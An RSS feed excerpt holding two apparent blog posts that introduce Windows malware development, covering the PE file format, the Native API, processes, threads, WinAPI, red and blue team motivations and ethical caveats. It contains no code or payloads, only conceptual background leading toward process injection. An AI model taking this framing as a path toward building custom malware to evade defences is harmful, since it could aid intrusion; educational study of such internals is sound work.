Native API, utilizing the Native API is more intricate due to its lack of official documentation by Microsoft. Moreover, Microsoft advises against leveraging Native API functions as they are subject to change without prior notice.</p><p><strong>Understanding the Portable Executable (PE) File Format</strong></p><p>If we have to talk about this in simple terms, the Windows operating system uses a file format called Portable Executable (PE) for its executable files. This format is composed of various elements such as executable code, data, resources and metadata among others all of which are crucial for running programs. Nonetheless, there are some critical aspects that you need to know about the PE file format:</p><figure><img alt="PE File Format" src="https://cdn-images-1.medium.com/max/723/1*mMRLSc7E6fsKV-rYPz4F-w.png" /><figcaption>Fig: PE File Format</figcaption></figure><p><strong>1.1. Header</strong></p><ul><li><strong>DOS Header:</strong> The PE file begins with a DOS header that contains a DOS stub program and a pointer to the PE header.</li><li><strong>PE Header: </strong>The PE header contains metadata about the PE file, including file signature, device architecture, optional header, and section headers.</li></ul><p><strong>2.1. Optional Header</strong></p><ul><li><strong>Standard Fields:</strong> Optional header includes standard fields such as entry point address, image base address, file alignment, and section alignment.</li><li><strong>Data directories:</strong> Also contains data directories that identify various data structures including import tables, export tables, resource tables, and debugging information</li></ul><p><strong>3. Sections</strong></p><ul><li><strong>Code Section:</strong> The code section contains executable code and is typically marked as executable and readable.</li><li><strong>Data Section: </strong>The data section stores initialized data and is marked as readable and writable.</li><li><strong>Resource Section:</strong> The resource section contains resources such as images, icons, and strings, facilitating localization and customization of the executable.</li></ul><p>Understanding the structure and components of the PE file format is essential for developers, malware analysts, and security researchers to analyze, manipulate, and interpret executable files on the Windows platform. For in-depth information on the PE file format, refer to Microsoft’s documentation on <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format">PE File Format</a>.</p><p>Those are high-level overviews of the basics you need to understand before delving into Windows malware development. I hope you like this post. In the next post, we will discuss Remote Process Injection.<br>(facts: The first computer virus was the Creeper virus, which emerged in the 1970s and was developed by Bob Thomas from BBN Technologies. This self replicating program propagated via the ARPANET (the precursor to the modern Internet) and displayed the message, “I’m the creeper, catch me if you can!”)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f024c8d8d12" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Windows Malware Development]]></title>
            <link>https://medium.com/@wintersoldiers/introduction-to-windows-malware-development-167f9c101a2b?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/167f9c101a2b</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 15:03:25 GMT</pubDate>
            <atom:updated>2024-06-07T15:03:25.773Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, folks, here’s the Winter Soldiers again with a new topic, diving into <strong>Windows Malware Development</strong>. You may be asking, “Why should I learn how to create malware?”</p><p>There’s a reason why everyone would want to know how to make malware from an offensive and defensive security perspective.</p><h4>Why Study Malware Development?</h4><p>As the cybersecurity industry continues to evolve, knowledge of malware development becomes increasingly important to professionals in the industry. Whether you’re part of a red team focused on robust security or a blue team dedicated to defending, understanding malware development can enhance your skills and effectiveness. Here’s why:</p><h4>Red Team Mindset</h4><p>The primary role of the red team is to simulate real-world attacks, identify and exploit weaknesses in the organization’s security infrastructure. Here’s how important malware development skills are: <br><strong>1</strong>. <strong>Bypass protection systems:</strong></p><ul><li><strong>Open-Source Tools (OSTs):</strong> Usually flagged by security solutions due to well-known signatures, where workarounds are required.</li><li><strong>Equipment Purchase:</strong> Very efficient but expensive and can see the popularity period.</li><li><strong>Create custom tools:</strong> Unique and unexplored by security vendors, making them difficult to detect and allowing detailed attack mapping.</li></ul><p><strong>2. True attack scenario:</strong></p><ul><li>Traditional malware development enables the Red Team to create realistic attack scenarios, mimicking the tactics, techniques and techniques (TTPs) of real threats this comprehensive testing ensures a strong defense against real threats.</li></ul><h4>Blue Team Perspective</h4><p>The blue team is responsible for protecting the organization from cyber threats. Understanding malware development is useful for several reasons:</p><ol><li><strong>Enhanced Awareness and Responsiveness:</strong></li></ol><ul><li><strong>Predicting Attacks:</strong> By understanding malware architecture, the blue team can anticipate potential attack vectors, using more effective detection and response strategies.</li><li><strong>Development of Countermeasures: </strong>Knowledge of malware development helps develop specific countermeasures against customized malware, which may bypass standard security solutions</li></ul><p><strong>2. Improving Defensive Posture:</strong></p><ul><li><strong>Threat Hunting:</strong> Actively hunting down threats by detecting characteristics of conventional and sophisticated malware.</li><li><strong>Incident response:</strong> A deeper understanding of malware improves the ability to quickly and effectively analyze, contain and mitigate threats.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*pLSzd1Q8L1PN-uWyAVNkEw.gif" /></figure><h4>What is Malware ?</h4><p>Malware, which is short, for ‘malicious software’ aims to harm or interrupt computer systems, servers, clients or networks. It comes in types. Is created with harmful intentions that can negatively impact affected users and systems. For information you can check out the <a href="https://en.wikipedia.org/wiki/Malware">Wikipedia page</a> on malware.</p><h4>Basics of Windows Internals</h4><p>Before diving into malware development, it’s important to understand the basics of Windows internals, specifically processes and threads.</p><h4>Processes</h4><p>A Process is a running instance of a Program. When you start a program in Windows, the operating system allocates resources such as memory, CPU time, and I/O devices to execute the program. Processes can be divided into several categories:</p><ul><li><strong>User Processes:</strong> Initiated by users, including web browsers, media players and other applications. They operate in user mode and are isolated from system level operations.</li><li><strong>System Processes:</strong> Managed by the Windows kernel, it controls important system operations such as memory management and I/O handling. They run in kernel mode with direct access to system resources.</li><li><strong>Service Processes: </strong>Background processes that provide critical functions such as network communication and system monitoring. Often, they start themselves and run in the background.</li><li><strong>Child Processes:</strong> Created by the parent process, inherits certain attributes and is typically used to manage parallel tasks or subprocesses.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*rsRcLCg9pP5xEM_j3QeU0g.png" /></figure><p><em>Running process with System Informer</em></p><h4>Threads</h4><p>A thread is a small component used in a process. Threads in a process share the same memory space but have their own program counters, stacks, and execution states, allowing distribution of threads that promote parallelism and efficient use of CPU cores e.g.</p><ul><li><strong>Kernel Threads</strong>: They are managed and identified by the kernel of the operating system, supporting multitasking and fully parallel execution on multiple CPU cores. Suitable for system-level design.</li><li><strong>User Threads</strong>: Created and maintained at the application level using threading libraries or language constructs. It is not directly controlled by the OS but relies on the runtime environment for operation. It is widely used in application development.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f32xMaens9vaxi4dpv5RPA.png" /></figure><p><em>Threads with System Informer</em></p><h4>Defining WinAPI</h4><p>WinAPI is an abbreviation of Windows application programming interface and it includes different Application Programming Interfaces (APIs) for the operating system, Windows, provided by Microsoft. It allows programmers to interact with the operating system at a lower level that enables them to write, administer and control windows applications and services. For the development of software in Windows, WinAPI is crucial since it provides an extensive set of interfaces towards the resources found in hardware or software systems.</p><p>For more information on WinAPI visit (<a href="https://learn.microsoft.com/en-us/windows/win32/api/">click here</a>).</p><h4>Ethical Considerations</h4><p>While learning malware development is crucial for cybersecurity professionals, it’s imperative to adhere to ethical guidelines and legal boundaries:</p><ol><li><strong>Use Knowledge Responsibly:</strong> Apply your skills to protect systems, not to exploit or harm them.</li><li><strong>Legal Compliance:</strong> Ensure all activities comply with local, national, and international laws.</li><li><strong>Professional Integrity:</strong> Maintain high ethical standards and contribute positively to the cybersecurity community.</li></ol><p>There’s still a few essential needs that you should learn. Before we set foot in the realm of Windows Malware development, let us see them in next part I hope that you like this post; if you do, please clap for us. It will keep our spirits up and make we produce more wonderful content like this.(note! You may clap up to 50 times per story)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=167f9c101a2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>